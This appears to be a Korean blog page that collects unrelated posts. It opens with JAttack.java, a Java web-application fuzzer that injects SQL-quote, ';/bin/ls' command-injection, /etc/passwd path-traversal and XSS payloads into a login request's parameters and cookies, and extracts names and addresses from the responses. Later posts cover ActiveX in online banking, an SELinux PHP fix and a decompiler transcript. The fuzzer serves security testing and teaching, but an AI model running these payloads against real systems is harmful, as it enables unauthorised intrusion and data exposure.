// JAttack.java
// by Dafydd Stuttard

import java.net.*;
import java.io.*;

class Param
{
String name, value;
Type type;
boolean attack;

Param(String name, String value, Type type, boolean attack)
{
this.name = name;
this.value = value;
this.type = type;
this.attack = attack;
}

enum Type
{
URL, COOKIE, BODY
}
}

interface PayloadSource
{
boolean nextPayload();
void reset();
String getPayload();
}

class PSNumbers implements PayloadSource
{
int from, to, step, current;
PSNumbers(int from, int to, int step)
{
this.from = from;
this.to = to;
this.step = step;
reset();
}

public boolean nextPayload()
{
current += step;
return current <= to;
}

public void reset()
{
current = from - step;
}

public String getPayload()
{
return Integer.toString(current);
}
}

class PSFuzzStrings implements PayloadSource
{
static final String[] fuzzStrings = new String[]
{
"'", ";/bin/ls", "../../../../../../etc/passwd", "xsstest"
};
int current = -1;

public boolean nextPayload()
{
current++;
return current < fuzzStrings.length;
}

public void reset()
{
current = -1;
}

public String getPayload()
{
return fuzzStrings[current];
}

}

class JAttack
{
// attack config
String host = "wahh-app.com";
int port = 82;
String method = "GET";
String url = "/app/acc/login.jsp";
Param[] params = new Param[]
{
new Param("ts", "29813", Param.Type.URL, true),
new Param("_DARGS",
"/app/acc/login_assumed.jsp", Param.Type.URL, true),
new Param("webabacus_id", "131st22418177-1", Param.Type.COOKIE, true),
new Param("DYN_USER_ID", "100014981", Param.Type.COOKIE, true),
new Param("USER_CONFIRM", "836de5f76c5ec83", Param.Type.COOKIE, true),
new Param("ParkoSearch2007", "true", Param.Type.COOKIE, true),
new Param("JSESSIONID", "DKBHCAOQQWHFFCKTR", Param.Type.COOKIE, true),
new Param("_dyncharset", "UTF-8", Param.Type.URL, true),
new Param("_template", "app/inc/templ.jsp", Param.Type.URL, true),
new Param("personalDetailsURL",
"..%2Facc%2Fregister_p1.jsp", Param.Type.URL, true),
new Param("login", "user@wahh-mail.com", Param.Type.URL, true),
new Param("originalRedirectFromURL", "+", Param.Type.URL, true),
new Param("password", "bestinfw", Param.Type.URL, true),
};
// PayloadSource payloads = new PSNumbers(3000, 3010, 1);
PayloadSource payloads = new PSFuzzStrings();

static final String[] grepStrings = new String[]
{
"error", "exception", "illegal", "invalid", "not found", "xsstest"
};
static final String[] extractStrings = new String[]
{
"<td>Name:</td><td>", "<td>Address:</td><td>"
};

// attack state
int currentParam = 0;

boolean nextRequest()
{
if (currentParam >= params.length)
return false;

if (!params[currentParam].attack)
{
currentParam++;
return nextRequest();
}

if (!payloads.nextPayload())
{
payloads.reset();
currentParam++;
return nextRequest();
}

return true;
}

String buildRequest()
{
// build parameters
StringBuffer urlParams = new StringBuffer();
StringBuffer cookieParams = new StringBuffer();
StringBuffer bodyParams = new StringBuffer();
for (int i = 0; i < params.length; i++)
{
String value = (i == currentParam) ?
payloads.getPayload() :
params[i].value;

if (params[i].type == Param.Type.URL)
urlParams.append(params[i].name + "=" + value + "&");
if (params[i].type == Param.Type.COOKIE)
cookieParams.append(params[i].name + "=" + value + "; ");
if (params[i].type == Param.Type.BODY)
bodyParams.append(params[i].name + "=" + value + "&");
}

// build request
StringBuffer req = new StringBuffer();
req.append(method + " " + url);
if (urlParams.length() > 0)
req.append("?" + urlParams.substring(0, urlParams.length() - 1));
req.append(" HTTP/1.0\r\nHost: " + host);
if (cookieParams.length() > 0)
req.append("\r\nCookie: " + cookieParams.toString());
if (bodyParams.length() > 0)
{
req.append("\r\nContent-Type: application/x-www-form-urlencoded");
req.append("\r\nContent-Length: " + (bodyParams.length() - 1));
req.append("\r\n\r\n");
req.append(bodyParams.substring(0, bodyParams.length() - 1));
}
else req.append("\r\n\r\n");

return req.toString();
}

String issueRequest(String req) throws UnknownHostException, IOException
{
Socket socket = new Socket(host, port);
OutputStream os = socket.getOutputStream();
os.write(req.getBytes());
os.flush();

BufferedReader br = new BufferedReader(new InputStreamReader(
socket.getInputStream()));
StringBuffer response = new StringBuffer();
String line;
while (null != (line = br.readLine()))
response.append(line);

os.close();
br.close();
return response.toString();
}

String parseResponse(String response)
{
StringBuffer output = new StringBuffer();

output.append(response.split("\\s+", 3)[1] + "\t");
output.append(Integer.toString(response.length()) + "\t");

for (String grep : grepStrings)
if (response.indexOf(grep) != -1)
output.append(grep + "\t");

for (String extract : extractStrings)
{
int from = response.indexOf(extract);
if (from == -1)
continue;
from += extract.length();
int to = response.indexOf("<", from);
if (to == -1)
to = response.length();
output.append(response.subSequence(from, to) + "\t");
}

return output.toString();
}

void doAttack()
{
System.out.println("param\tpayload\tstatus\tlength");
String output = null;

while (nextRequest())
{
try
{
output = parseResponse(issueRequest(buildRequest()));
}
catch (Exception e)
{
output = e.toString();
}
System.out.println(params[currentParam].name + "\t" +
payloads.getPayload() + "\t" + output);
}
}

public static void main(String[] args)
{
new JAttack().doAttack();
}
}
Posted by 김주일

<script>
 location.href="http://cmcmission.catholic.ac.kr/index.jsp";
</script>
Posted by 김주일

많은 분들이 인터넷 뱅킹을 할 때 ActiveX가 설치되는 것에 대해 반감을 가지고 있는 것을 잘 알고 있습니다. 하지만 단지 그 때문에 오픈웹이 주장하는 바를 맹목적으로 따라가시면 곤란합니다. 현재의 보안 기술은 그럴만한 이유가 다 있었기 때문에 만들어진 것인데, 전후사정 따져보지도 않고 ActiveX는 악마의 기술인 것처럼 매도하시면 곤란합니다.

여러분의 계좌에 들어있는 몇 백만원, 몇 천만원이 중요합니까, 아니면 인터넷 뱅킹의 불편함을 제거하는 것이 중요합니까? 지금까지 무수한 노력과 헌신으로 여러분의 보안을 지켜온 보안 관계자들은 오픈웹이 보안 회사를 무슨 악의 축이라도 되는 것처럼 영혼과 양심을 팔아먹었다고 매도하는 것에 대해 분노하고 있으며, 그 무리한 주장에 우려를 금치 못하고 있습니다.

오픈웹은 보안 업계를 적으로 돌리고 싸울 것이 아니라, 현재 보안 관계자들이 오픈웹이 내세운 대안에 대해 언급하고 있는 문제점들을 다시 분석하고 받아들여서 현실적인 개선 방안을 강구해야 할 것입니다.

아무 생각없이 오픈웹의 주장에 동조할 것이 아니라, 아래의 링크들을 찬찬히 읽어보시고 냉정하게 다시 생각해보시기 바랍니다. 하단의 링크는 계속 업데이트 됩니다.

---------------------------------------------------
뜨겁네

Posted by 김주일
출 처 : http://plzu.tistory.com/55

PHP설치하고 Apache연동을 하려는데 쌩뚱맞은 에러가 나타났다.

httpd: Syntax error on line 53 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/modules/libphp5.so into server: /usr/local/apache/modules/libphp5.so: cannot restore segment prot after reloc: Permission denied


restorecon -R -v /usr/local/apache/modules/libphp5.so

세그먼트 쪽이라서 해당 파일을 기본 설정으로 돌려보아지만 같은 에러가 나타난다.

흠... 뭐가 문제일까...
구글을 검색하여 보니 나와 같은 사람들이 많았다.
파일 설정이 아닌 문맥 오류라고 봐야 될듯 하다.

chcon -t texrel_shlib_t /usr/local/apache/modules/libphp5.so
Posted by 김주일
출 처 : http://validator.kldp.org/

이 validator는 KLDP에서 제공하는 W3C의 한국어 HTML Validation 서비스이며, HTML, XHTML, SMIL, MathML 등 웹 문서의 markup 유효성을 검사합니다. RSS/Atom 피드, CSS 스타일 시트, 또는 깨진 링크 찾기와 같은 특정 컨텐츠를 검사하기를 원한다면, 다른 유효성 검사와 도구 문서를 참고 하십시오.

Posted by 김주일

p.167 관련


C:\Documents and Settings\Administrator\바탕 화면>jad.exe HeaderStyle.class
Parsing HeaderStyle.class...The class file version is 48.0 (only 45.3, 46.0 and
47.0 are supported)
Overwrite HeaderStyle.jad [y/n/a/s] ? y
 Generating HeaderStyle.jad

C:\Documents and Settings\Administrator\바탕 화면>type HeaderStyle.jad
// Decompiled by Jad v1.5.8d. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name:   HeaderStyle.java

package com.jgoodies.looks;

import javax.swing.*;

public final class HeaderStyle
{

    private HeaderStyle(String name)
    {
        this.name = name;
    }

    public static HeaderStyle from(JMenuBar menuBar)
    {
        return from0(menuBar);
    }

    public static HeaderStyle from(JToolBar toolBar)
    {
        return from0(toolBar);
    }

    private static HeaderStyle from0(JComponent c)
    {
        Object value = c.getClientProperty("jgoodies.headerStyle");
        if(value instanceof HeaderStyle)
            return (HeaderStyle)value;
        if(value instanceof String)
            return valueOf((String)value);
        else
            return null;
    }

    private static HeaderStyle valueOf(String name)
    {
        if(name.equalsIgnoreCase(SINGLE.name))
            return SINGLE;
        if(name.equalsIgnoreCase(BOTH.name))
            return BOTH;
        else
            throw new IllegalArgumentException("Invalid HeaderStyle name " + nam
e);
    }

    public String toString()
    {
        return name;
    }

    public static final HeaderStyle SINGLE = new HeaderStyle("Single");
    public static final HeaderStyle BOTH = new HeaderStyle("Both");
    private final String name;

}

C:\Documents and Settings\Administrator\바탕 화면>

Posted by 김주일
Posted by 김주일
출 처 : http://koxo.com/lang/js/function/eval.html

Posted by 김주일